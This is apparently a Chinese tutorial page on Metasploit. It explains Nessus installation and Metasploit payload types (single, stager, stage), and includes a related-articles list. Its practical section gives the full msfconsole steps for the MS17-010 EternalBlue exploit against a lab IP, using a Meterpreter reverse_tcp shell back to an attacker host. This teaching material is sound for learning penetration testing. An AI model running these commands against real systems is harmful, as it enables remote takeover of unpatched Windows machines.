Metasploit 进阶第三讲

深入理解攻击载荷

 

01 Nesus介绍、安装及使用

Nessus介绍

Nessus是一款著名的漏洞扫描及分析工具,提供完整的漏洞扫描服务,并随时更新漏洞数据库。

采用B/S模式,服务器端负责执行具体的扫描任务,客户端负责管理配置服务器端,在服务器端还采用plug-in体系,支持客户端加入自定义插件,其运作效能随系统资源而自行调整。

Nessus安装&使用

1.https://www.tenable.com/downloads/nessus              ->Nessus下载、获取激活码

2.dpkg  -I  Nessus-8.3.1-debian6_amd64/i386.deb             ->Nessus安装

3./etc/init.d/nessusd start             ->Nessus服务器端启动

Register for an Activation Co

4.https://127.0.0.1:8834/                 ->客户端访问(添加例外)获取激活码:

https://www.tenable.com/products/nessus-home

实操:利用ms2017-010攻击目标主机

ms17-010漏洞出现在Windows SMBv1中的内核态函数srv4SrvOs2FeaListToNt。

在将FEA list转换成NTFEA(Windows NT FEA)list前会调用srv.SrvOs2FeaListSizeToNt去计算转换后的FEAlist的大小,因计算大小错误,而导致缓冲区溢出。

Msfconsole

Search  ms17-010

use exploit/windows/smb/ms17_010_eternalblue

set        rhosts   192.168.24.142

show    payloads

set        payload  windows/x64/meterpreter/reverse_tcp

set  lhost  192.168.24.137

run

深入理解payload

payload是什么?

payload字面意思是有效攻击载荷,包含需要在远程主机上运行的恶意代码。

payload和exploit的区别?

exploit是传送系统(运载火箭),payload是用来实际做什么事的代码(弹头)

payload命名规则:

Staged payload:<platform>/[archl/stage>/<stager>

Single payload:<platform>/[arch]/ssingle>

其中arch可选,因为不必要或已默认,如:php/meterpreter/reverse_tcp

payload的分类:

single、stager、stage三种。其中:

single:是一种完全独立的Payload。如:meterpreter_reverse_tcp

stager:负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段。

如:reverse_tcp、bind_tcp

作用:

1.允许我们使用较小的有效载荷去加载具有更多功能的较大的payload。

2.使通信机制与最终阶段分离成为可能。

stage:提供更高级的功能,且没有大小限制(因为stager为stage分配了大量内存)

如:meterpreter

stager和stage就像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动。

5.Metasploit攻击载荷深入理解的更多相关文章

  1. MetaSploit攻击实例讲解------社会工程学set攻击(kali linux 2016.2(rolling))(详细)

    不多说,直接上干货! 首先,如果你是用的BT5,则set的配置文件是在 /pentest/exploits/set/set_config下. APACHE_SERVER=ONSELF_SIGNED_A ...

  2. 对Man-In-The-Middle攻击的一点理解

    1)    中间人攻击最容易理解的可能就是fiddler吧,他可以截获request重新组织request的数据,有个专业的攻击工具叫burp. 2)    数据存在immutable,mutable ...

  3. 【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell

    /QQ:3496925334 作者:MG193.7 CNBLOG博客号:ALDYS4 未经许可,禁止转载/ 关于metasploit的安卓模块,前几次的博客我已经写了相应的分析和工具 [Android ...

  4. 【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块

    /作者:Kali_MG1937 CSDN博客:ALDYS4 QQ:3496925334/ 注意!此文章被作者标记到 黑历史 专栏中,这意味着本篇文章可能存在 质量低下,流水账文,笔法低质 的问题 为了 ...

  5. MetaSploit攻击实例讲解------Metasploit自动化攻击(包括kali linux 2016.2(rolling) 和 BT5)

    不多说,直接上干货! 前期博客 Kali linux 2016.2(Rolling)里Metasploit连接(包括默认和自定义)的PostgreSQL数据库 Kali linux 2016.2(Ro ...

  6. Shadow broker=>fuzzbunch+metasploit 攻击外网测试以及metasploit大批量扫描目标IP

    0x01 前言 4月14日,影子经纪人在steemit.com上公开了一大批NSA(美国国家安全局)“方程式组织” (Equation Group)使用的极具破坏力的黑客工具,其中包括可以远程攻破全球 ...

  7. 3.Metasploit攻击流程及命令介绍

    Metasploit 进阶第一讲    攻击流程及命令介绍   01.渗透测试过程环节(PTES)   1.前期交互阶段:与客户组织进行交互讨论,确定范围,目标等 2.情报搜集阶段:获取更多目标组织信 ...

  8. csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》

    这个实验主要是熟悉栈,和了解数据缓存区溢出的问题. 数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针.在被调用程序里面,栈是向下增长的.所有局部变量 ...

  9. MetaSploit攻击实例讲解------工具Meterpreter常用功能介绍(kali linux 2016.2(rolling))(详细)

    不多说,直接上干货! 说在前面的话 注意啦:Meterpreter的命令非常之多,本篇博客下面给出了所有,大家可以去看看.给出了详细的中文 由于篇幅原因,我只使用如下较常用的命令. 这篇博客,利用下面 ...

随机推荐

  1. 【Java】机考常用知识

    基本操作 数组 声明数组 方法一: int a[] = null; //声明一维数组 //int[] a = null; 也行,个人习惯 a = new int[10];//分配内存给一维数组 方法二 ...

  2. psql的jsonb操作--存储对象/对象数组

    1. 建表 create table demo( id serial NOT NULL PRIMARY KEY, name ), info JSONB ); 2.存储对象操作 2.1添加 insert ...

  3. 关于有趣的windows.h

    system 函数: 这个函数差不多就是调用 cmd (命令提示符). 当然,不一定要在程序中调用,用 txt 打入文本( 不用加system() )后改后缀名为 cmd 后运行即可. Win 键 + ...

  4. springboot1.5.9整合websocket实现实时显示的小demo

    最近由于项目需要实时显示数据库更新的数据变化情况,一开始想过在前端使用ajax异步轮询方法实现,但后面考虑到性能和流量等要求,就放弃该方法而选择使用websocket(毕竟现在springboot整合 ...

  5. Python模块三

    collections模块 在内置数据类型(dict.list.set.tuple)的基础上,collections模块还提供了几个额外的数据类型:Counter.deque.defaultdict. ...

  6. 用Setuptools构建和分发程序包

    目录 使用Setuptools构建和分发软件包 开发人员指南 安装setuptools 基本使用 指定项目的版本 新增和更改的setup()关键字 包括数据文件 参考示例 使用Setuptools构建 ...

  7. Pocket+Evernote 打造个人知识库体系

    俗话说巧妇难为无米之炊,还是那个不太恰当的例子. 写作就好比人类的消化系统,想要持续的输出...那么就要持续的输入... 今天就来说一说如何进行持续有效的输入. 信息处理过程 先放一张图,这是我的整个 ...

  8. 使用Filter来过滤掉需要排除的数组对象

    问题描述:有个地方需要根据判断是否是总分公司来控制转正入口的显影,list是获取到的所有入口的数组,需要判断数组里哪个对象的title为"员工转正",本来打算用for循环的,之后发 ...

  9. Linux学习第六天

    学习Linux环境下的挂载命令. 什么是挂载命令? 1.Windows下,mount挂载,就是给磁盘分区提供一个盘符(C,D,E,...).比如插入U盘后系统自动分配给了它I:盘符其实就是挂载,退优盘 ...

  10. RabbitMQ消息发布和消费的确认机制

    前言 新公司项目使用的消息队列是RabbitMQ,之前其实没有在实际项目上用过RabbitMQ,所以对它的了解都谈不上入门.趁着周末休息的时间也猛补习了一波,写了两个窗体应用,一个消息发布端和消息消费 ...